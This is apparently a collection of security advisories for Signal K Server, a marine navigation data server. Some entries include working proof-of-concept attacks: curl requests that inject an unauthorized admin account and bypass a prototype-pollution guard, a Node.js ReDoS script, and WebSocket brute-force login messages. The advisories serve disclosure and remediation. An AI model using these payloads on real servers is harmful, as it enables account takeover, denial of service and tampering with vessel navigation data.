Package Instance

Signal K Server Vulnerable to Access Request Spoofing
The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.

When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access.

The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.

Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.

Signal K Server's WebSocket Login Endpoint Lacks Rate Limiting (Credential Brute-Force)
## Summary

The HTTP login endpoints (`POST /login` and `POST /signalk/v1/auth/login`) are protected by `express-rate-limit` (default: 100 attempts per 10-minute window, configurable via `HTTP_RATE_LIMITS`). The WebSocket login path — sending `{login: {username, password}}` messages over an established WebSocket connection — calls `app.securityStrategy.login()` directly without any rate limiting.

An attacker can bypass HTTP rate limiting entirely by opening a WebSocket connection and attempting unlimited password guesses at the speed bcrypt allows (~20 attempts/sec with 10 salt rounds).

## Details

**Vulnerable code:** `src/interfaces/ws.ts`, function `processLoginRequest` (lines 753-780)

The function directly calls `app.securityStrategy.login(msg.login.username, msg.login.password)` with no throttling or attempt tracking.

**Rate-limited HTTP path for comparison:** `src/tokensecurity.ts` lines 609-617 apply `loginLimiter` middleware to the HTTP login routes at line 637.

## Steps to Reproduce

1. Start Signal K server with security enabled
2. Open a WebSocket connection to `ws://server:3000/signalk/v1/stream?subscribe=none`
3. Wait for the hello message
4. Send login attempts in rapid succession:
   ```json
   {"requestId": "1", "login": {"username": "admin", "password": "guess1"}}
   {"requestId": "2", "login": {"username": "admin", "password": "guess2"}}
   ```
5. Observe that all attempts are processed without any 429 response or throttling
6. For comparison, send 100+ HTTP POST requests to `/signalk/v1/auth/login` — the 101st returns 429

A POC script is available that demonstrates both the HTTP rate limiting working correctly and the WebSocket path accepting unlimited attempts.

## Impact

- Credential brute-forcing via the WebSocket protocol at ~20 attempts/sec (bcrypt-limited)
- Complete bypass of the HTTP rate limiting defense
- A single WebSocket connection is sufficient for unlimited attempts
- With multiple parallel connections, throughput multiplies
- A 10,000-word dictionary attack completes in ~8 minutes over a single connection

Signal K servers are commonly deployed on boat networks where they may be accessible to other devices on the same LAN.

## CWE

CWE-307: Improper Restriction of Excessive Authentication Attempts

## Suggested Fix

Track failed login attempts per remote IP in a shared store (or reuse the existing express-rate-limit store) that is checked in both the HTTP login middleware and the processLoginRequest WebSocket handler.

## Context

Found while building an open source maritime security scanner. Verified on v2.24.0 (current master).

Discovered by Mark Curphey

Signal K Server: Unauthenticated Source Priorities Manipulation
## Summary

The SignalK Server exposes an unauthenticated HTTP endpoint that allows remote attackers to modify navigation data source priorities. This endpoint, accessible via `PUT /signalk/v1/api/sourcePriorities`, does not enforce authentication or authorization checks and directly assigns user-controlled input to the server configuration.

As a result, attackers can influence which GPS, AIS, or other sensor data sources are trusted by the system. The changes are immediately applied and persisted to disk, allowing the manipulation to survive server restarts.

### Affected Component
- **File**: `src/serverroutes.ts`
- **Endpoint**: `PUT /signalk/v1/api/sourcePriorities` (also accessible at `/skServer/sourcePriorities`)
- **Lines**: 1064-1076
- **Function**: Source priorities configuration handler

### Vulnerable Code

```typescript
// src/serverroutes.ts - Lines 1064-1076
app.put(
  `${SERVERROUTESPREFIX}/sourcePriorities`,
  (req: Request, res: Response) => {
    app.config.settings.sourcePriorities = req.body
    app.activateSourcePriorities()
    writeSettingsFile(app, app.config.settings, (err: any) => {
      if (err) {
        res
          .status(500)
          .send('Unable to save to sourcePrefences in settings file')
      } else {
        res.json({ result: 'ok' })
      }
    })
  }
)
```
## Vulnerability Characteristics

**Missing Authentication**: The endpoint has zero authentication middleware, allowing unauthenticated access from any network-adjacent attacker.

**Direct Configuration Assignment**: User-supplied request body is directly assigned to app.config.settings.sourcePriorities without validation or sanitization.

**Persistent Storage**: Malicious configuration is written to disk via writeSettingsFile(), ensuring changes survive server restarts.
**Live Configuration Update**: Changes take effect immediately via activateSourcePriorities(), affecting live navigation data processing.

**No Input Validation**: No JSON schema validation, type checking, or field allowlisting is performed on the request body.

## Impact
- **Navigation Data Manipulation**: Attackers can modify source priorities to change which existing, active source's data is being used

Signal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling
SignalK Server exposes two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status.

**Unauthenticated WebSocket Request Enumeration**: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses.

**Unauthenticated Token Polling**: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access.

An attacker has two paths to exploit these vulnerabilities:

1. The attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token.

2. The attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials.

Both paths require zero authentication and enable complete authentication bypass.

Signal K Server: Arbitrary Prototype Read via `from` Field Bypass
## Summary 

The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.

While this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.

## Vulnerability Root Cause 

File: src/interfaces/applicationData.js (Lines 48-57)
```
const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']

function isPrototypePollutionPath(pathString) {
  const segments = pathString.split(/[./]/)
  return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}

function hasPrototypePollutionPatch(patches) {
  return patches.some(
    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from
    (patch) => patch.path && isPrototypePollutionPath(patch.path) 
  )
}
```
At Line 201:
```
if (hasPrototypePollutionPatch(req.body)) {
  res.status(400).send('invalid patch path')
  return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'

```
## Proof of Concept (PoC)

Verify the Developer Guard Works (The Blocked Payload):
```
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'
```
Result: 400 Bad Request - invalid patch path

Execute the Bypass (The Malicious Payload):
```
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'
```
Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.

<img width="1222" height="230" alt="Screenshot 2026-03-24 150440" src="https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6" />

## Security Impact
This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.

## Fixing Arbitrary Prototype Read

The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:
```
function hasPrototypePollutionPatch(patches) {
  return patches.some(
    (patch) => 
      (patch.path && isPrototypePollutionPath(patch.path)) ||
      (patch.from && isPrototypePollutionPath(patch.from))
  )
}
```

Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding
A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.

Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths
## Summary
The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.

## Description
The vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.

While the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters—such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.

## Affected Code Blocks & Files
**File:** `signalk-server/src/subscriptionmanager.ts`

**Affected lines for Context subscriptions (282-300):**
```typescript
function contextMatcher(...) {
  if (subscribeCommand.context) {
    if (isString(subscribeCommand.context)) {
      const pattern = subscribeCommand.context
        .replace(/\./g, '\\.')
        .replace(/\*/g, '.*')
      const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly
      return (normalizedDeltaData: WithContext) =>
        matcher.test(normalizedDeltaData.context) ||
```

**Affected lines for Path subscriptions (276-280):**
```typescript
function pathMatcher(path: string = '*') {
  const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
  const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
  return (aPath: string) => matcher.test(aPath)
}
```

## Proof of Concept (PoC) Steps

```
const WebSocket = require('ws');
const http = require('http');

const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;

console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);

let requestCount = 0;

// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
    const startTime = Date.now();
    requestCount++;
    const reqId = requestCount;
    
    const req = http.get(HTTP_URL, (res) => {
        let size = 0;
        res.on('data', chunk => { size += chunk.length; });
        res.on('end', () => {
             const latency = Date.now() - startTime;
             console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);
        });
    });

    req.on('error', (err) => {
        console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
    });

    // Timeout if the event loop is blocked
    req.setTimeout(2000, () => {
        console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);
        req.destroy();
    });
}

// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);

// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
    console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
    const ws = new WebSocket(WS_URL);

    ws.on('open', () => {
        console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');
        
        // This regex exploits the unescaped Regex metacharacters in context matcher.
        // It forms: `^vessels\.([a-z0-9:-]+)+!$`
        // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), 
        // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations 
        // because it fails to find the '!' at the end. This reliably freezes V8.
        const pocPayload = {
            context: "vessels.([a-z0-9:-]+)+!",
            announceNewPaths: true,
            subscribe: [{ path: "*" }]
        };

        ws.send(JSON.stringify(pocPayload));
        console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n');
    });

    ws.on('error', (err) => {
        console.error(`[-] WebSocket Error: ${err.message}`);
    });

}, 3500);

// Automatically shut down the test after 15 seconds
setTimeout(() => {
    console.log(`\n[+] Test complete. Stopping pollers.`);
    clearInterval(pollInterval);
    process.exit(0);
}, 15000);
```
<img width="1003" height="524" alt="Screenshot 2026-03-29 101918" src="https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039" />

## Impact

This vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop. 

<img width="999" height="153" alt="Screenshot 2026-03-29 101820" src="https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0" />

Signal K Server Vulnerable to Unauthenticated Information Disclosure via Exposed Endpoints
An unauthenticated information disclosure vulnerability allows any user to retrieve sensitive system information, including the full SignalK data schema, connected serial devices, and installed analyzer tools. This exposure facilitates reconnaissance for further attacks.

Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package
The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution.

The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script.

SignalK Server has Path Traversal leading to information disclosure
A Path Traversal vulnerability in SignalK Server's `applicationData` API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The `validateAppId()` function blocks forward slashes (`/`) but not backslashes (`\`), which are treated as directory separators by `path.join()` on Windows. This enables attackers to escape the intended `applicationData` directory.

Signal K Server: Privilege Escalation by Admin Role Injection via /enableSecurity
## Summary

According to SignalK's security documentation, when a server is first initialized without security enabled, the **/skServer/enableSecurity** endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.

However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the **/skServer/enableSecurity** route remains perpetually open.

Furthermore, the endpoint explicitly trusts the **type** field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.

## Vulnerable Root Cause 

File:  src/serverroutes.ts (Lines 685-754)
```
if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {
    app.post(
      `${SERVERROUTESPREFIX}/enableSecurity`,
      (req: Request, res: Response) => {
        // ...
        function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {
          // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy
          securityStrategy.addUser(config, request.body, (err, theConfig) => {
            // ...
          })
        }
      }
    // ... No code disables or removes this route after first execution.
    // The conditional check on Line 685 only happens during server startup, 
```

File: src/tokensecurity.ts (Lines 980-994)
```
function addUser(
    theConfig: SecurityConfig,
    user: { userId: string; type: string; password?: string },
    callback: ICallback<SecurityConfig>
  ): void {
    // ...
    const newUser: User = {
      username: user.userId,
      type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field
    }
```

## Proof of Concept (PoC)

**Simulate Legitimate Initial Setup**: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.
```
curl -X POST http://localhost:3000/skServer/enableSecurity \
  -H "Content-Type: application/json" \
  -d '{"userId": "admin", "password": "securepassword", "type": "admin"}'

Result: Security enabled
```

**Inject Malicious Admin**: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.

```
curl -X POST http://localhost:3000/skServer/enableSecurity \
  -H "Content-Type: application/json" \
  -d '{"userId": "attacker", "password": "password123", "type": "admin"}'

Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).
```

**Verify Both Admins Exist**: Login via JWT as the attacker and query the restricted users endpoint.

```
# Get Token for Attacker
TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "attacker", "password": "password123"}' | jq -r .token)
```
```
# Access Admin-Only Data
curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users
Result: The system returns both admin and attacker as active Administrators.
```

<img width="1205" height="469" alt="Screenshot 2026-03-24 145906" src="https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a" />

## Security Impact
An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints

Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)
An unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).